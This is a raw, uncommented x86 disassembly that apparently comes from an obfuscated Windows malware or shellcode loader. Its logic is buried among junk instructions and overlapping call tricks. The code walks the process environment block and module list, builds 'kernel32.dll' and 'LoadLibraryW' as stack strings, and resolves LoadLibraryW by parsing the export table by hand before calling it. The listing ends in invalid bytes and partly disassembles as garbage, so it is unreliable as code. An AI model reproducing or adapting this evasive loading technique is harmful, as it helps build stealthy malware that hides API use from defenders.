cmp dword [edx + 0x4b], eax
cmp bh, byte [esi]
aaa
add esp, 4
pop edi
cmp dword [ebp - 0x150c], 0
jne 0x436383
mov dword [ebp - 0x2a8], 0
jmp 0x43662a
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push ebx
push eax
add esp, 4
call 0x4363a9
add byte [esi + 0x43473e36], bh
dec edx
aas
dec edx
add esp, 4
or ebx, 0x8ffa
pop ebx
push ecx
push edi
add esp, 4
xor ecx, 0x2cc8
pop ecx
push ebx
sub ebx, 0xd717
pop ebx
cmp dword [ebp - 0xc4c], 0
jne 0x4363df
mov dword [ebp - 0x2a8], 0
jmp 0x43662a
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push edx
push edi
add esp, 4
or edx, 0xbbd5
and edx, 0x9105
and edx, 0x434d
pop edx
push edi
add edi, 0x101db
add edi, 0x140bb
or edi, 0x2d29
jmp 0x43641c
pop edi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push esi
sub esi, 0x17c5c
sub esi, 0x7ca
jmp 0x43645a
add esi, 0xcde1
pop esi
push edx
push edx
add esp, 4
call 0x436475
add byte [ebx + 0x4f], al
inc esi
cmp dword [edi], edi
dec ebp
cmp eax, dword [ebp + 0x4f]
add esp, 4
pop edx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push edx
or edx, 0x6097
pop edx
push edi
push edi
add esp, 4
or edi, 0xbb90
call 0x4364f0
add byte [ebx], bh
inc esi
dec edi
dec esp
dec esp
dec edi
dec edi
add esp, 4
or edi, 0x1601c
pop edi
push edx
and edx, 0x16a9b
pop edx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x43651f
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x436579
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x436447
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x436447
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x436563
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x43656d
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x4365c2
push edi
jmp 0x436589
or edi, 0x3e4d
jmp 0x436596
jmp 0x43659f
pop edi
push ecx
push ecx
add esp, 4
add ecx, 0x1ec8
pop ecx
push ebx
and ebx, 0x15aa1
pop ebx
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x43662a
push eax
xor eax, 0x69f1
jmp 0x4365cf
sub eax, 0xc439
jmp 0x4365da
pop eax
push ecx
jmp 0x4365e1
sub ecx, 0xd690
sub ecx, 0x9613
add ecx, 0xd59a
pop ecx
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x436620
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x4363eb
mov dword [ebp - 0x2a8], 0
push ebx
push ebx
add esp, 4
xor ebx, 0x27bf
pop ebx
push ebx
push eax
add esp, 4
and ebx, 0x488e
and ebx, 0x6ed
pop ebx
push edx
or edx, 0x8d37
or edx, 0xddf7
sub edx, 0x13136
pop edx
cmp dword [ebp - 0x2a8], 0
jne 0x436f61
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ecx
and ecx, 0x6cf6
jmp 0x436711
add ecx, 0x156cc
pop ecx
push ebx
jmp 0x436720
pop ebx
push ecx
jmp 0x436727
or ecx, 0x9e78
add ecx, 0x177d1
pop ecx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push edi
push edi
add esp, 4
and edi, 0xd276
call 0x4367d0
add byte [edi], bh
xor al, byte [esi + 0x34]
xor eax, 0x8344413d
les eax, [ecx + eax*4]
out 0x8e, eax
pushal
add byte [eax], al
add edi, 0xcc1b
pop edi
push esi
jmp 0x4367e8
pop esi
cmp dword [ebp - 0x1518], 0
jne 0x436801
mov dword [ebp - 0x710], 0
jmp 0x436aa8
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push esi
sub esi, 0x31c3
call 0x436827
add byte [esi + 0x35], cl
inc ecx
dec eax
aas
cmp byte [edi], bh
add esp, 4
add esi, 0x18490
add esi, 0x99a8
pop esi
push esi
and esi, 0x16522
sub esi, 0x6378
pop esi
cmp dword [ebp - 0xc58], 0
jne 0x43685d
mov dword [ebp - 0x710], 0
jmp 0x436aa8
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push esi
push edi
add esp, 4
sub esi, 0x11cd9
add esi, 0x37b7
xor esi, 0xfc2
jmp 0x436889
pop esi
push esi
or esi, 0xc158
jmp 0x43689a
pop esi
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push esi
push ebx
add esp, 4
jmp 0x4368cf
xor esi, 0x9baf
sub esi, 0x15e4f
pop esi
push edx
push edx
add esp, 4
jmp 0x4368ea
sub edx, 0xa85
and edx, 0xfa5
pop edx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edx
push ecx
add esp, 4
add edx, 0xb4dd
and edx, 0xdc04
add edx, 0x122f7
pop edx
push ecx
or ecx, 0x18274
and ecx, 0x95c1
and ecx, 0x94e9
sub ecx, 0x13ab5
pop ecx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x43699d
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x4369f7
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x4368c5
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x4368c5
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x4369e1
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x4369eb
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x436a40
push ebx
push eax
add esp, 4
add ebx, 0x7fc8
sub ebx, 0xa328
and ebx, 0xd60
add ebx, 0xfd84
pop ebx
push eax
xor eax, 0x1028
and eax, 0x5e94
or eax, 0x9698
pop eax
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x436aa8
push edx
and edx, 0x148a
pop edx
push ebx
push esi
add esp, 4
or ebx, 0x9385
pop ebx
push edi
push edx
add esp, 4
sub edi, 0x159d
and edi, 0xb574
and edi, 0x79d3
or edi, 0x2946
pop edi
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x436a9e
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x436869
mov dword [ebp - 0x710], 0
push ebx
or ebx, 0x272b
jmp 0x436ab5
or ebx, 0x13624
pop ebx
push ecx
sub ecx, 0x916a
call 0x436ad0
add byte [ebx + 0x35], cl
dec ebx
inc edx
cmp byte [ebp + 0x44], cl
add esp, 4
add ecx, 0x1508f
pop ecx
cmp dword [ebp - 0x710], 0
jne 0x436b24
push edx
push ecx
add esp, 4
call 0x436af6
add byte [eax + 0x32], al
inc ebp
inc eax
dec edx
dec edx
dec ebx
add esp, 4
or edx, 0xd13c
add edx, 0xcd14
call 0x436b11
add byte [ebx + 0x34], al
push eax
cmp dword [eax + ecx*2 - 0x7d], eax
les eax, [edx + ebx*2]
mov dword [ebp - 0xa58], 0
jmp 0x43764c
push edx
push edi
add esp, 4
xor edx, 0x12ca2
add edx, 0x682b
jmp 0x436b3d
pop edx
push esi
push edi
add esp, 4
and esi, 0xc3a
pop esi
push ecx
push eax
add esp, 4
xor ecx, 0x839f
pop ecx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x436b95
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x436e86
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x436bbd
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x436e86
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x436bef
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x436e86
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x436c14
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x436e86
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x436c6e
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x436e7a
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x436cde
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x436d90
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x436d90
push edx
push edi
add esp, 4
and edx, 0x16869
pop edx
push esi
add esi, 0xe439
pop esi
push ebx
push edi
add esp, 4
xor ebx, 0xfc6c
and ebx, 0x4aa3
add ebx, 0xae8f
xor ebx, 0x812f
pop ebx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x436d82
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x436d89
jmp 0x436ccf
jmp 0x436d90
push edi
push edx
add esp, 4
xor edi, 0x40ee
pop edi
push ebx
push esi
add esp, 4
xor ebx, 0x39bc
pop ebx
push esi
and esi, 0xfcdf
or esi, 0x723d
or esi, 0x75
xor esi, 0x10eb9
pop esi
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x436def
mov dword [ebp - 0xc5c], 0
jmp 0x436e5e
push eax
jmp 0x436df6
pop eax
push ebx
push edx
add esp, 4
call 0x436e09
add byte [ebx + ecx*2 + 0x4c], al
push eax
inc ebx
cmp al, 0x4e
add esp, 4
or ebx, 0x8de9
pop ebx
push ecx
add ecx, 0xa77d
add ecx, 0x7ba9
pop ecx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x436e54
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x436e5e
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x436e75
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x436e86
jmp 0x436c5f
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x436f61
push edi
push eax
add esp, 4
jmp 0x436e9f
pop edi
push ecx
sub ecx, 0x467f
or ecx, 0x91ba
or ecx, 0x104bd
pop ecx
push eax
jmp 0x436ebe
sub eax, 0x887e
pop eax
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push edx
sub edx, 0x13754
pop edx
push edx
push edi
add esp, 4
sub edx, 0xd818
sub edx, 0x3f6a
and edx, 0xafc2
pop edx
push esi
add esi, 0x283d
pop esi
push edx
jmp 0x436f02
pop edx
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x436f61
push edx
push edi
add esp, 4
sub edx, 0xabcb
pop edx
push edx
xor edx, 0x3f79
sub edx, 0x103eb
pop edx
push edi
push edx
add esp, 4
call 0x436f4e
add byte [ebx + 0x41], al
cmp bh, byte [ecx]
push eax
inc esp
inc edx
add esp, 4
pop edi
mov dword [ebp - 0xa58], 0
jmp 0x43764c
push edi
push ebx
add esp, 4
or edi, 0x27b9
sub edi, 0xa817
or edi, 0xab1c
pop edi
push edx
xor edx, 0x2f8
and edx, 0x9135
add edx, 0x8a1e
or edx, 0x171fc
pop edx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edx
push edi
add esp, 4
jmp 0x436fc6
add edx, 0xdbe3
or edx, 0xbc5f
pop edx
push eax
add eax, 0x12372
sub eax, 0x9f52
pop eax
push eax
push edi
add esp, 4
xor eax, 0x1331c
pop eax
cmp dword [ebp - 0x1574], 0
jne 0x437005
mov dword [ebp - 0x2a8], 0
jmp 0x4372ac
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push esi
jmp 0x437020
pop esi
push eax
push edi
add esp, 4
call 0x437033
add byte [eax + 0x3f], dl
xor al, 0x37
inc edx
inc esp
cmp al, 0x83
les eax, [ecx + eax*4]
call fcn.00437c93
add eax, 0xb510
add eax, 0x6a9e
pop eax
cmp dword [ebp - 0xc68], 0
jne 0x437061
mov dword [ebp - 0x2a8], 0
jmp 0x4372ac
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push esi
add esi, 0x1bec
jmp 0x43707a
pop esi
push ecx
push ecx
add esp, 4
sub ecx, 0x13bbd
add ecx, 0x164f3
sub ecx, 0x82ad
pop ecx
push esi
push ebx
add esp, 4
xor esi, 0xc860
pop esi
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push ecx
push ebx
add esp, 4
call 0x4370dc
add byte [esi + 0x3d], cl
dec ebp
xor eax, dword [edi + 0x33]
dec esp
add esp, 4
pop ecx
push ecx
jmp 0x4370e7
or ecx, 0x144cb
jmp 0x4370f4
add ecx, 0xb64
pop ecx
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push ecx
call 0x437160
add byte [esi], bh
dec ebx
dec edx
cmp cl, byte [ebx + edi + 0x4e]
add esp, 4
or ecx, 0x11efb
or ecx, 0x5c32
pop ecx
push ecx
add ecx, 0x15885
xor ecx, 0x10870
invalid
invalid
invalid